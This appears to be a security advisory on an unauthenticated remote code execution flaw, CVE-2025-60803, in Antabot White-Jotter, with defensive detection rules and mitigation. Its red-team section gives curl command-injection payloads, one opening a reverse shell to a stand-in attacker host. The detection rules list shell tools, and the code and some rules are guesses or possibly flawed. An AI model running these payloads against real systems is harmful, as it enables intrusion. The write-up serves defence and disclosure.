CVE-2025-60803

Executive Summary

CVE-2025-60803 is a critical unauthenticated remote code execution (RCE) vulnerability discovered in the Antabot White-Jotter application, affecting versions up to commit 9bcadc. The flaw resides in the /api/aaa;/../register endpoint, allowing an attacker to bypass authentication and execute arbitrary code on the server without any prior credentials. The vulnerability stems from improper input validation and path traversal combined with code injection, enabling an unauthenticated attacker to achieve full system compromise. No official patch has been released, and the vendor has not acknowledged the issue. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, the following breakdown is estimated:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system read access.
• Integrity (I): High (H) – Full system write access.
• Availability (A): High (H) – Full system control, potential denial of service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Unauthenticated RCE with public PoC and no patch available.

Deep Dive & Mechanics

The vulnerability is located in the /api/aaa;/../register endpoint of the Antabot White-Jotter application. The endpoint is intended for user registration but fails to properly sanitize or validate user-supplied input. The path traversal component (;/../) allows an attacker to escape the intended API route and access internal functions or execute arbitrary code.

The core issue is a combination of:

1. Path Traversal: The semicolon (;) and ../ sequence bypasses route restrictions, allowing access to backend handlers that should be protected.
2. Code Injection: The registration endpoint likely deserializes or evaluates user input without proper sanitization, enabling the injection of malicious code (e.g., Java/Spring expression language injection, or direct command injection).

An attacker can craft a POST request to /api/aaa;/../register with a payload that, when processed, executes arbitrary system commands. This is possible because the application's routing mechanism treats the semicolon as a separator, effectively allowing the attacker to call a different internal method while still passing parameters to the registration handler.

Vulnerable vs. Patched Code

Vulnerable Code (up to commit 9bcadc): The vulnerable code likely resembles the following (pseudocode based on Spring Boot patterns):

@PostMapping("/api/aaa;/../register")
public ResponseEntity<?> register(@RequestBody UserRegistrationRequest request) {
    // No input validation or sanitization
    String username = request.getUsername();
    String password = request.getPassword();
    // Directly evaluates or deserializes user input
    Object result = evaluateExpression(username); // Vulnerable to injection
    return ResponseEntity.ok(result);
}

Patched Code (hypothetical): A proper fix would involve:

1. Strict input validation and sanitization.
2. Disallowing path traversal sequences in API routes.
3. Using parameterized queries or safe deserialization methods.

@PostMapping("/api/register")
public ResponseEntity<?> register(@Valid @RequestBody UserRegistrationRequest request) {
    // Input validation
    String username = sanitizeInput(request.getUsername());
    String password = sanitizeInput(request.getPassword());
    // Safe processing
    User user = userService.register(username, password);
    return ResponseEntity.ok(user);
}

private String sanitizeInput(String input) {
    // Remove dangerous characters
    return input.replaceAll("[<>\"';&|]", "");
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A vulnerable instance of Antabot White-Jotter (commit 9bcadc or earlier).
• Network access to the target application.

Exploitation Steps:

1. Identify the target: Use Shodan or manual scanning to find exposed White-Jotter instances.
2. Craft the exploit payload: The payload is a POST request to /api/aaa;/../register with a malicious JSON body.

curl -X POST http://target.com/api/aaa;/../register \
  -H "Content-Type: application/json" \
  -d '{"username":"test; $(id)","password":"test"}'

3. Execute arbitrary commands: The response will contain the output of the injected command (e.g., uid=1000(app) gid=1000(app)).

4. Establish persistence: Use the RCE to upload a web shell or create a reverse shell.

# Reverse shell payload
curl -X POST http://target.com/api/aaa;/../register \
  -H "Content-Type: application/json" \
  -d '{"username":"test; bash -i >& /dev/tcp/attacker.com/4444 0>&1","password":"test"}'

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual POST requests to /api/aaa;/../register or similar path traversal patterns.
2. Inspect request bodies for command injection patterns (e.g., ;, |, &&, $(...)).
3. Check server logs for unexpected command execution or error messages.

Mitigation Steps:

1. Immediately block the vulnerable endpoint at the web application firewall (WAF) or reverse proxy.
2. Apply input validation and sanitization to all API endpoints.
3. Restrict outbound network access from the application server to prevent reverse shell callbacks.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /api/aaa;/../register with unusual payloads.
• Outbound connections to unknown IP addresses on high ports (e.g., 4444, 1337).
• Anomalous HTTP response bodies containing command output (e.g., uid=..., whoami).

File System IOCs:

• Unexpected files in the web root (e.g., shell.jsp, cmd.php).
• Modified application configuration files.
• New cron jobs or systemd services.

Log IOCs:

• Application logs showing evaluateExpression or similar function calls with suspicious input.
• System logs showing execution of commands like id, whoami, curl, wget.

Detection Engineering

YARA Rule

rule CVE_2025_60803_Antabot_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2025-60803 in Antabot White-Jotter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60803"
    strings:
        $path_traversal = "/api/aaa;/../register"
        $cmd_injection_1 = /;.*(id|whoami|uname|cat|curl|wget|bash|sh|nc|python|perl)/
        $cmd_injection_2 = /`.*(id|whoami|uname|cat|curl|wget|bash|sh|nc|python|perl)`/
        $cmd_injection_3 = /\$\(.*(id|whoami|uname|cat|curl|wget|bash|sh|nc|python|perl)\)/
    condition:
        $path_traversal and any of ($cmd_injection_*)
}

Sigma Rule

title: CVE-2025-60803 Antabot White-Jotter Unauthenticated RCE
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-60803 via path traversal and command injection
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/aaa;/../register'
    keywords:
        - '; id'
        - '; whoami'
        - '; uname'
        - '; cat'
        - '; curl'
        - '; wget'
        - '; bash'
        - '; sh'
        - '; nc'
        - '; python'
        - '; perl'
    condition: selection and keywords
falsepositives:
    - Legitimate use of semicolons in usernames (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-60803 Antabot White-Jotter Unauthenticated RCE Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/aaa;/../register";
    http_uri;
    content:";";
    http_client_body;
    pcre:"/;(id|whoami|uname|cat|curl|wget|bash|sh|nc|python|perl)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2025-60803;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network if possible.
2. Block the vulnerable endpoint at the WAF or reverse proxy:

   location ~* /api/aaa;/\.\./register {
       deny all;
   }
   

3. Monitor for active exploitation using the provided detection rules.

Long-Term Fixes:

1. Apply input validation and sanitization to all API endpoints.
2. Disable path traversal in the application's routing mechanism.
3. Use parameterized queries and safe deserialization libraries.
4. Implement proper authentication for all sensitive endpoints.
5. Conduct a security audit of the entire codebase.

Workaround:

• If patching is not possible, restrict access to the application using network segmentation and strict firewall rules.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert